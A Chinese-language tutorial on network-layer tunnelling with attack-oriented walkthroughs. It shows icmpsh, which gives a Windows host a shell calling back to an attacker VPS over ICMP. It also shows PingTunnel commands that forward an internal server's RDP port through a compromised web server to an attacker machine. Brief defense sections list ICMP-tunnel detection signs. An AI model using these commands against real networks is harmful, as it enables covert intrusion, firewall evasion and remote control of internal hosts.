网络层隧道技术

网络层隧道技术

1 IPv6隧道

1.1 技术简介

IPv6隧道技术指的是通过IPv4隧道传送IPv6数据报文的技术,为了在IPv4的海洋中传输IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6能够穿越IPv4的海洋,到达另一个IPv6小岛。

ipv6隧道技术是指通过ipv4隧道传送ipv6数据报文的技术。攻击者有时会通过恶意软件来配置允许运行ipv6通信的设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持ipv6,也可能无法正确地分析封装了ipv6报文的ipv4数据包。

支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。

1.2 防御ipv6 隧道攻击的方法

针对ipv6隧道攻击,最好的防御方法是:了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性。

2 ICMP隧道

2.1 icmpsh

工具 icmpsh,从机(客户端)只能在 Windows 上运行,而主机(服务器)可以在攻击者机器上的任何平台上运行。

下载地址:https://github.com/inquisb/icmpsh.git

安装python-impacket类库:

1
apt-get install python-impacket

关闭系统的ICMP应答(也就是禁ping):

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

VPS执行:

1
./icmpsh_m.py <外网VPS> <内网出口IP>

内网服务器执行:

1
icmpsh.exe -t <外网VPS>

2.2 pingtunnel

PingTunnel也是一款常用的ICMP隧道工具,可以跨平台使用。为了避免隧道被滥用,可以为隧道设置密码。

下载地址:http://freshmeat.sourceforge.net/projects/ptunnel/

首先要安装工具

1
2
3
4
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

如果报pcap.h缺失:

1
2
3
4
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

安装中出现yacc包错误

1
sudo apt-get install -y byacc

最后一步过程中又会报Neither flex nor lex was found的错误:

1
apt-get install flex bison

继续执行

1
2
3
./configure
make
sudo make install

回到pingtunnel目录重新执行

1
make && make install

在web服务器运行命令

1
2
3
4
5
6
7
ptunnel -x pass

-× 指定icmp隧道连接验证密码
-lp 指定要监听的本地tcp端口
-da 指定要转发到的机器的ip地址
-dp 指定要转发到的机器的tcp端口
-p 指定icmp隧道另一端机器的ip地址

在vps(攻击机)上运行ptunnel

1
ptunnel -p <web服务器外网ip> -lp 1080 -da <域中内网服务器ip> -dp 3389 -x pass

接下来访问vps(攻击机)的1080端口便可以连接到数据库服务器的远程桌面了(3389)

1
<vps的ip>:1080

PingTunnel工具在Windows环境中也可以使用,只不过需要在内网的Windows机器上安装wincap类库。

2.3 防御icmcp隧道攻击的方法

  1. 检测同一来源的icmp数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用icmp隧道的浏览器会在很短的时间内产生上千个icmp数据包。
  2. 注意那些payload大与64bit的icmp数据包。
  3. 寻找响应数据包中的payload与请求数据包中的playload不一致的icmp数据包。
  4. 检查icmp数据包协议,icmptunnel会在所有的icmp playload前面添加“TUNL来标识隧道–这就是特征。
0%